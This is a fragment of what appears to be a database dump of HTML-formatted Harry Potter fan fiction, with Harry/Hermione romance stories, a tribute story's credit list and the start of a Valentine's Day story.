style="line-height:14.0pt;">He smirked. &#8220;Come <i>on</i>, Mione! What else do you suppose they&#8217;re\ngonna do at a <i>water </i>park? Swim?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Hermione started laughing. &#8220;Now that you mention it, <i>Mr.</i> Potter\n&#8230; <i>we</i> didn&#8217;t do much swimming the one time you took me to a water park!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">This time, Harry was the one who started blushing. &#8220;Well, we weren&#8217;t <i>thirteen</i>\nwhen we went to the water park &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;Right, Harry,&#8221; she shot back in a sarcastic tone, &#8220;&#8230; we were <i>fourteen!</i>&#8221;\nHermione laughed at the expression on Harry&#8217;s face. &#8220;Good thing that <i>Jo</i>\nwasn&#8217;t there &#8230; as I recall, she caught up with us at the Quidditch World Cup &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Her voice trailed off. Harry, picking up on her thoughts and memories,\nsuddenly stood up, and pulled her to her feet. &#8220;Enough!&#8221; he said in a gruff\nvoice. &#8220;You&#8217;re right &#8230; those two have built up a small treasury of memories\ntogether &#8230; but as for <i>us</i> &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Hermione smiled at him. &#8220;Let&#8217;s make some more memories, sweetheart.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Harry kissed her on the forehead, and with a sudden move, lifted her\noff her feet and carried her laughing form into the bedroom.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&nbsp;</p>\n\n<p class="MsoBodyText" style="text-align:center;line-height:14.0pt;" align="center">The End</p>\n\n<p class="MsoBodyText" style="text-align:center;line-height:14.0pt;" align="center">&nbsp;</p>\n\n<p class="MsoBodyTextFirstIndent" style="text-indent:0in;line-height:14.0pt;"><b>Additional Author&#8217;s Notes</b>:&nbsp; As noted above, this was a &#8220;tribute fic&#8221; to\nthe many writers of the HMS Pumpkin Pie &#8230;&nbsp;\nmany of the &#8220;memories&#8221; that both Harry and Hermione had are one-liner\nsummaries (or used objects and ideas) from stories written by other authors.&nbsp; You may say that they are my personal list\nof some of my favorite stories in fandom.&nbsp;\n</p>\n\n<p class="MsoBodyTextFirstIndent" style="text-indent:0in;line-height:14.0pt;">These stories, and their writers, are:</p>\n\n<p class="MsoListNumber" style="margin-top:0in;margin-right:0in;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;line-height:14.0pt;"><i>1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i><i>Epiphanies by Romulus Lupin</i></p>\n\n<p class="MsoListNumber" style="margin-top:0in;margin-right:0in;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;line-height:14.0pt;"><i>2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i><i>Beautiful by Apolla</i></p>\n\n<p class="MsoListNumber" style="margin-top:0in;margin-right:0in;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;line-height:14.0pt;"><i>3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i><i>A Kiss Isn&#8217;t Just A Kiss by Elia Sheldon</i></p>\n\n<p class="MsoListNumber" style="margin-top:0in;margin-right:0in;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;line-height:14.0pt;"><i>4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i><i>Happy Valentine&#8217;s Day, Hermione by Catriona\nRhiannon</i></p>\n\n<p class="MsoListNumber" style="margin-top:0in;margin-right:0in;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;line-height:14.0pt;"><i>5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i><i>Blowing Off Steam, by Steve (Sir Loyne) </i></p>\n\n<p class="MsoListNumber" style="margin-top:0in;margin-right:0in;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;line-height:14.0pt;"><i>6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i><i>Toes, by <u>Catriona Rhiannon</u></i></p>\n\n<p class="MsoListNumber" style="margin-top:0in;margin-right:0in;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;line-height:14.0pt;"><i>7.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i><i>May Day Eve by mia Fitzpatrick</i></p>\n\n<p class="MsoListNumber" style="margin-top:0in;margin-right:0in;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;line-height:14.0pt;"><i>8.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i><i>Toast by Happy Daze (found in the HMS Pumpkine\nPie&#8217;s Cookie Jar on FA)</i></p>\n\n<p class="MsoListNumber" style="margin-top:0in;margin-right:0in;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;line-height:14.0pt;"><i>9.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i><i>A Thank-You Long in Coming by GriffinsEye </i></p>\n\n<p class="MsoListNumber" style="margin-top:0in;margin-right:0in;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;line-height:14.0pt;"><i>10.&nbsp; </i><i>Fish and Chips by Silvestria (found in the\nHMS Pumpkin Pie Cookie Jar on FA) </i></p>\n\n<p class="MsoListNumber" style="margin-top:0in;margin-right:0in;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;line-height:14.0pt;"><i>11.&nbsp; </i><i>Healing Kisses by Ebony</i></p>\n\n<p class="MsoListNumber" style="margin-top:0in;margin-right:0in;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;line-height:14.0pt;"><i>12.&nbsp; </i><i>Candlelit Romance by Yumi</i></p>\n\n<p class="MsoListNumber" style="margin-top:0in;margin-right:0in;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;line-height:14.0pt;"><i>13.&nbsp; </i><i>Every Rose Has Its Thorns by Muse of Angels</i></p>\n\n<p class="MsoListNumber" style="margin-top:0in;margin-right:0in;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;line-height:14.0pt;"><i>14.&nbsp; </i><i>Kitty Torture by Yumi</i></p>\n\n<p class="MsoListNumber" style="margin-top:0in;margin-right:0in;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;line-height:14.0pt;"><i>15.&nbsp; </i><i>Her Blanket, His Quill by Catriona Rhiannon</i></p>\n\n<p class="MsoBodyTextFirstIndent" style="text-indent:0in;line-height:14.0pt;">&nbsp;</p>\n\n\n\n\n\n\n'),
	(265, 1, '\n\n\n\nOf All the Things\n\n<p>By\nKaori Lily Marie Otome XIV</p>\n\n<p>&nbsp;</p>\n\nOf all the things I&#8217;ve ever wanted&#8230;\n\n<p><i>I\nnever thought that you&#8217;d be the one,</i></p>\n\n<p><i>that\nI needed the most...</i></p>\n\n<p>&nbsp;</p>\n\n<p>As proven\nby you and McGonagall, sometimes I don&#8217;t think. Sometimes, I am absolutely\nfoolish&#8212;sometimes. You&#8217;d think being a Seeker, that I notice things around me\nmore clearly.</p>\n\n<p>&nbsp;</p>\n\n<p>But\nI don&#8217;t. And I do stupid things and think stupid thoughts.</p>\n\n<p>&nbsp;</p>\n\n<p>And\nof all the stupid things I am, I&#8217;m blind. And I&#8217;m not talking about my obvious\nlack of twenty-twenty vision. I miss some of the details. The ones that point\nme to the right direction.</p>\n\n<p>&nbsp;</p>\n\n<p>What\ncould I do without you?</p>\n\n<p>&nbsp;</p>\n\n<p>I\ndid more than want you, I needed you. <i>Badly</i>.</p>\n\n<p>&nbsp;</p>\n\n<p>Then,\nto my utter surprise, I got you.</p>\n\n<p>&nbsp;</p>\n\n<p align="center">|:|:|:|:|:|:|:|:|</p>\n\n<p align="center">&nbsp;</p>\n\n<p>She is next to me. With a huge smile on her face and a\nblissful sigh. Of course it would make me wonder if everything was okay. No one\nwould smile like that for no reason. Especially not my Hermione.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hermione?&#8221; She\nsighs again. What&#8217;s going on?</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hmm?&#8221; She answers\nso softly, it makes me just want to hug her and just tell her I loved her. But&#8230;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Are you okay?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hm-hm.&#8221; Is she\nlying? These days I&#8217;m just so lost in just watching her I can&#8217;t tell.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Is there anything wrong?&#8221;\nCould you say you love me? Why can&#8217;t I say it to you?</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No&#8230; nothing.\nEverything&#8217;s&#8230; perfect.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>A pause. What was that? Nevertheless, I&#8217;m glad she&#8217;s fine.\nSo I can&#8217;t help but smile and I kiss her cheek and wrap my arms around her. Just\ntell her now! Now! &#8230; I mean it!</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry?&#8221; A worried\ntone. Oh dear&#8230; ugh, did I actually just say &#8216;oh dear&#8217;?! Oh never mind, why is\nmy head wandering off at a time like this anyway?</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hmm?&#8221; I answered\nthe same way as her. Hm. That&#8217;s actually&#8230; very nice.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Can I tell you\nsomething?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p align="center">|:|:|:|:|:|:|:|:|</p>\n\n<p align="center">&nbsp;</p>\n\n<p>I hope it&#8217;s what I think\nit is&#8230;or maybe not. Oh God, this is just&#8230; love is frustrating, has anyone told\nyou that Hermione? It&#8217;s hard to express it. Especially growing up with very few\nof it.</p>\n\n<p>&nbsp;</p>\n\n<p>I don&#8217;t deserved you\nHermione, I know that. I just hope you haven&#8217;t realized it. It may be just the\nsame eternal fortune that I gets me into all sorts of adventures that brought\nyou to me and made you want me. Just a stroke of luck. One of the strange\ncoincidences in my life.</p>\n\n<p>&nbsp;</p>\n\n<p>Just&#8230; why didn&#8217;t I see it\nsooner? I was so blinded by&#8230; well, what I saw. Which was Cho. </p>\n\n<p>&nbsp;</p>\n\n<p align="center">|:|:|:|:|:|:|:|:|</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221;\n<i>My face contorts. I am praying with all my heart that its not that we need\nto break up. Please no&#8230; please&#8230;</i></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Um&#8230;\nI-I&#8230; well, I&#8217;ve been trying to get up the courage to say something.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p><i>Oh&#8230;</i>&nbsp; &#8220;Say what?&#8221; <i>It was an innocent question. Though I can tell she\nwas slightly annoyed for me to cut her off like that. I can tell by the subtle\nfurrowing of her beautiful, elegant eyebrows. My heart is beating so fast&#8230; oh I\nlove you Hermione! I do!</i></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8230;\nI-I love you Harry.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Then, my heart skips a beat.</p>\n\n<p>&nbsp;</p>\n\n<p align="center">|:|:|:|:|:|:|:|:|</p>\n\n<p align="center">&nbsp;</p>\n\n<p>Like I said, I am blind.\nYou were a blessing in disguise, the day we met you. You know that love? You\nwere the smart, know-it-all girl that kept bothering me and Ron for reasons\nunknown to us. I should&#8217;ve paid attention to you closer. I mean it.</p>\n\n<p>&nbsp;</p>\n\n<p>There were clues that you\nhad feelings for me before we got together. I just couldn&#8217;t see it. Perhaps, refused to. Because I thought I wanted someone else. Her.\nHer who was pretty. Who was athletic. And pretty. And nice. And pretty. And\nkind. And pretty. And I wanted her. Just because she was simply&#8230; pretty.</p>\n\n<p>&nbsp;</p>\n\n<p>It was one of those\ncrushes that you couldn&#8217;t really get over fast enough because&#8230; it was one of\nthe few you&#8217;ve had. Do you even know what I&#8217;m talking about? Well&#8230; and to prove\nthat I needed so badly&#8230; I went to you. To help. Because of her. </p>\n\n<p>&nbsp;</p>\n\n<p>And you told me what to\ntell her. Kind and tender attributes I couldn&#8217;t even know she had. Ones that I\ncould easily use to describe you. You. Hermione. Not her. You. And even more to\nmy surprise, that wasn&#8217;t the end of it. I started thinking of more words to\ndescribe you, just from the top of my head. Friend and lifesaver were there. Though\nthe most shocking was&#8230; unrequited love.</p>\n\n<p>&nbsp;</p>\n\n<p>Where had that come from?\nI really am thick, aren&#8217;t I, Hermione? You&#8217;re probably one of the few people I\ncould really, really talk to. To spill all my secrets. Tell you everything.\nFrom my thoughts to my desires.</p>\n\n<p>&nbsp;</p>\n\n<p>I wanted lots of things\nover the years. Family. Friends. A home. Of all the things that I&#8217;ve ever\nwanted&#8230; I never thought I could need a Hermione. But that&#8217;s what I got. Or more\nprecisely, she got me. I love her, with all my heart. My Hermione.</p>\n\n<p>&nbsp;</p>\n\n<p>That&#8217;s the difference from\nher and Cho&#8230; Cho, I had wanted but I didn&#8217;t need her&#8230; not like Hermione. She\nwas just a pretty face. All the wrong reasons.</p>\n\n<p>&nbsp;</p>\n\n<p align="center">|:|:|:|:|:|:|:|:|</p>\n\n<p align="center">&nbsp;</p>\n\n<p>Still can&#8217;t speak. Too relieved and too much in a dreamy\nstate to answer&#8230; just give me a moment Hermione. She&#8217;s clearly not having just\nme nodding. I must be mad. The girl whom I love just confessed her love to me.\nAnd I haven&#8217;t said anything!</p>\n\n<p>&nbsp;</p>\n\n<p>Gulp.</p>\n\n<p>&nbsp;</p>\n\n<p>Here goes nothing. I lean in close and&nbsp; hear her give a small giggle as I say, &#8220;I know. I love you too. I&#8217;ve been wanting to tell you\nfor so long but I didn&#8217;t have the courage.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Since when?&#8221; When?\nHmm&#8230; I&#8217;m not sure. It seems like forever.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I don&#8217;t know exactly. But\nI know when I realized it.&#8221; Yeah. Grin.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;When?&#8221; Heh. My,\nyou are impatient, aren&#8217;t you love?</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hmm.. well&#8230; if you want\nto know&#8230; Remember when I was asking you how to tell Cho that I like her?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;s the time you\nrealized it?&#8221; She&#8217;s confused about it. Hmm&#8230; yeah&#8230; I know. Because she\nwas about heart broken that day. I had thanked her and left to ask someone\nelse&#8230; I had heard her sad, sigh and I knew she just collapsed on a chair,\nregretting telling me all those things. I tried to say it to Cho but I couldn&#8217;t\nand I just went in my own words and then told her I realized that I liked you.\nShe understood and told me the best of luck. Then I just waited. Waited to make\na move to finally seek you out.</p>\n\n<p>&nbsp;</p>\n\n<p>Now&#8230; to explain.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes. You were asking\nabout why I liked her. I could only come up with superficial answers. I liked\nher for all the wrong reasons. Instead of just her. Then you told me what to\ntell her. I realized that I felt that way about you. And so much more.&#8221;</p>\n\n<p>&nbsp;&nbsp;</p>\n\n<p>&#8220;Oh Harry&#8230;&#8221; She&#8217;s\ntouched. Smile.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;I\'m glad you had the\ncourage.&quot; I tell her. Ever grateful. I know I&#8217;m being a coward, not\nbeing the one to tell her. But it would really kill me if she didn&#8217;t feel the\nsame way.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Me too.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I love you Hermione.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Me too,&#8221; she\nrepeats. I laugh at her and kiss her.</p>\n\n<p>&nbsp;</p>\n\n<p>After breaking apart, we look up at the castle. The one on\nthe cliff, towering over the lake which seems so vast. The castle where I found\ntrue love.</p>\n\n<p>&nbsp;</p>\n\n<p align="center">|:|:|:|:|:|:|:|:|</p>\n\n<p>&nbsp;</p>\n\n<p>I had also said earlier\nthat I miss details that should point me to the right direction? One of those details\nis Hermione. She was pointing me to somewhere. To herself. To find the love of\nmy life.</p>\n\n<p>&nbsp;</p>\n\n<p>I won&#8217;t go on about the\nreasons I love her. I don&#8217;t need any. I just know that I do. With all my heart.</p>\n\n<p>&nbsp;</p>\n\n<p>Just goes to say&#8230; you find\nthings even when you&#8217;re not looking for it.</p>\n\n<p>&nbsp;</p>\n\n<p>And of all the things I\nnever expected to find&#8230; its you. Again. You.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione Granger. My\nheart, my life, my soul.</p>\n\n<p>&nbsp;</p>\n\n<p><b>Finis.</b></p>\n\n\n\n\n\n\n'),
	(265, 2, 'Of All the Things\n\n<p class="MsoNormal">By\nKaori Lily Marie Otome XIV</p>\n<p class="MsoNormal">!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'),
	(266, 1, '\n\n\nWithout All That\n\n<p class="MsoNormal">By\nKaori Lily Marie Otome XIV</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\nHow do I\nlove thee?\n\nLet me count the ways&#8230;\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\nlove him without a doubt. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Him\nand his bright green eyes. Those eyes that light up whenever I see him. Those\neyes which I could lose myself to for hours.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\nlove his unbelievably unruly hair, which is more untamable than mine&#8217;s. A trait\nthat&#8217;s apparently been in his family for so many years.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\nlove his round, simple glasses. Tape and all.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\nlove his lightning bolt scar, the ever-present reminder of all that he lost.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\nlove his dashing smile that could make me melt into a puddle of goo.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i>Sigh.</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Though\nthat is not the reason I fell for him. No&#8230; in fact, without all that, I&#8217;d love\nhim still. Without all the titles. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Boy-Who-Lived.\nGryffindor. Seeker. Quidditch Captain. Head Boy. <i>The</i> Harry Potter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Why\n<i>the</i>? Always the Harry Potter in everyone else&#8217;s mind. Are there so many\nHarry Potters in this world? And is my Harry so special? Yes. He is special.\nBut to me, he&#8217;s just Harry Potter the boy. Harry whom I love. My Harry. I love\nhim without all those meaningless titles.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">|:|:|:|:|:|:|:|:|</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione?&#8221;\n<i>He looks at me with those eyes. Sigh. Melt.</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are\nyou okay?&#8221; <i>Never better.</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hm-hm&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Is\nthere something wrong?&#8221; <i>No, everything&#8217;s wonderful. Absolutely wonderful.</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No&#8230;\nnothing. Everything&#8217;s&#8230; perfect.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i>He\nsmiles and shyly kisses my cheek. Then surrounds me in warmth by wrapping his\narms around me.</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Hmm?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Can\nI tell you something?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">|:|:|:|:|:|:|:|:|</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">I&#8217;ve\nnever told him. Not aloud. But sometimes it&#8217;s all I say in my head. I love you\nHarry. I do. But I don&#8217;t know how to say the words. Do you love me too?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">In\nmy hearts of hearts, I know you do but sometimes I doubt. No one can be so\nfaithful. At least not mentally. We can&#8217;t control what we think, can we? Oh\ncourse not. If we did I wouldn&#8217;t have those ridiculous reveries about us. In a\nbroom closet. In the Head Boy/Girl office. Astronomy Tower. Potions&nbsp; (which quite frankly disturbs me).</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It\nisn&#8217;t logically for you of all people to make me think all sorts of foolish\nthings at the wrong place and time. Then again, everyone says that logic has no\nplace in love. And that is why you make me feel like I&#8217;m going to shatter into\na thousand pieces if I have to live without you. And despite how that sounds, I\nthink it may be a good thing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">You&#8217;re\nbrave, compassionate, loyal, and loving. You needed love out of all the things.\nYou were deprived of it for so long. Then you suddenly, out of the blue, got\nlove. From all sorts of places. Different kinds of love. Love of a family. The\nWeasleys&#8230; Sirius, even Lupin. You had brotherly love in Ron. Sisterly one from\nGinny, though she thought it was more than that in the beginning. Yet you still\nresearched for that kind of love, the soul mate kind. The one to share your\nlife with.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">You\nstarted to look in the wrong places. In beauty first, without thinking of the\nperson themselves until you got to know them. You obviously got lucky with\npicking Cho. She was perfectly nice person. But she didn&#8217;t know you. And you\ndidn&#8217;t know her. She didn&#8217;t love you. I did. I still do.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It\nwas probably close to a miracle you finally saw me. I wish you did sooner. But\nI guess it was better this way. You wouldn&#8217;t be looking everywhere else and\nthinking why did I get stuck with this Muggleborn know-it-all? Not that you&#8217;d\never think that, I know you&#8217;re a perfectly well behaved gentleman most of the\ntime.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">|:|:|:|:|:|:|:|:|</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221;\n<i>He&#8217;s looking worried. Hm&#8230; Don&#8217;t worry love&#8230;</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Um&#8230;\nI-I&#8230; well, I&#8217;ve been trying to get up the courage to say something.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Say\nwhat?&#8221; <i>Don&#8217;t interrupt me Harry, I love you, can&#8217;t you shut up a minute so I\ncan tell you? I don&#8217;t mean to be harsh but this is hard enough as it is.</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8230;\nI-I love you Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">|:|:|:|:|:|:|:|:|</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoBodyText">There. I said it. Oh God&#8230; And I&#8217;m not running. Or crying.\nOr anything. He&#8217;s just looking at me like he knew it all along.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\nlove you because you&#8217;re my friend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Because\nyou&#8217;ve saved me so many times.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Because\nyou don&#8217;t need me to change. You accept me for what I am.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Because\nI need you. And you need me.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">|:|:|:|:|:|:|:|:|</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoBodyText"><i>He nods knowingly. I want to hit him. What? Aren&#8217;t you\ngoing to say you love me too?</i></p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;I know,&#8221; he says. He comes closer to my face. His lips\nalmost touch my ear. Giggle. &#8220;I love you too. I&#8217;ve been wanting to tell you for\nso long but I didn&#8217;t have the courage.&#8221;</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText"><i>I just blink at him. He&#8217;s wanted to tell me all this\ntime?</i></p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Since when?&#8221; <i>Isn&#8217;t that what everyone ask?</i></p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;I don&#8217;t know exactly. But I know when I realized it.&#8221;</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;When?&#8221;<i> Pressing on. C&#8217;mon just tell me! Stop stalling!</i></p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Hmm... well&#8230; if you want to know&#8230; Remember when I was\nasking you how to tell Cho that I like her?&#8221;</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;<i>That&#8217;s</i> the time you realized it?&#8221; &#8230; what?</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Yes. You were asking about why I liked her. I could only\ncome up with superficial answers. I liked her for all the wrong reasons.\nInstead of just her. Then you told me what to tell her. I realized that I felt\nthat way about <i>you</i>. And so much more.&#8221;</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText"><i>He smiles again. All over again: Bliss. Sigh. Melt.</i></p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Oh Harry&#8230;&#8221;</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&quot;I\'m glad you had the courage.&quot;</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Me too.&#8221;</p>\n\n<p class="MsoBodyText"><i>&nbsp;</i></p>\n\n<p class="MsoBodyText"><i>Me too.</i></p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">|:|:|:|:|:|:|:|:|</p>\n\n<p class="MsoBodyText" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoBodyText">I could live without all those things I mentioned. Without\nall that and those tender kisses. And more lovey-dovey stuff. But there&#8217;s\nprobably one thing that I love so much about you that I couldn&#8217;t live without.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">I love you with all my heart and the thing most of all\nthat I couldn&#8217;t live without is&#8230; you love me back.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Yes, I could live without so many things. Without your\neyes or your smile. But with all those things&#8230; its just&#8230;. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText"><i>Sigh. Melt. Bliss.</i></p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">And those are the ways I love thee.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText" style="text-align:center" align="center"><b>Finis.</b></p>\n\n\n\n\n\n\n'),
	(267, 1, '<div class="center"><b><span class="u">Happy Valentine’s Day, Hermione</span></b></div>\n<p>Hermione Granger was trying to finish reading three chapters of Exotic\nCarnivorous Plants (How to Survive Owning One) for her Herbology essay,\nentitled “How to Care for the different kinds of Carnivorous Plant Traps”.\nShe furrowed her eyebrows. “The Superior Venus Fly Trap needs constant\ncare and supervision,” she muttered. “If not maintained for a short period\nof time, it will emit a very horrible stench coming from—argh!”\n\n</p><p>Succumbing to frustration, she snapped the book shut and sighed loudly.\nThat was the forty-third time she read that sentence in the past ten minutes.\nShe just couldn’t concentrate! “Shh!” shushed Madam Pince, as the eagle-eyed\nlibrarian gave her a piercing glance. Hermione didn’t even look up, only\nmuttering a “sorry” under her breath. She did, however, see Madam Pince\nwave her index fingers at several giggling Hufflepuff fourth-years who\nwere poking their friend who was receiving a bouquet of red roses from\na tall Ravenclaw admirer, it seemed. “This is a library, a room of great\nlearning, and not a meeting of lovers,” the librarian said huffily, fixing\nher spectacles.\n\n</p><p>Hermione watched the group shuffle away and sighed again. She finally\nknew what was getting her goat.\n\n</p><p>Valentine’s Day.\n\n</p><p>Every year around the second week of February, the Great Halls became\nlittered with red and pink decorations. You’d even see Peeves dressed up\nas Cupid and “accidentally” hitting Filch in the posterior with one of\nhis golden arrows. Professor Flitwick would be showing them how to 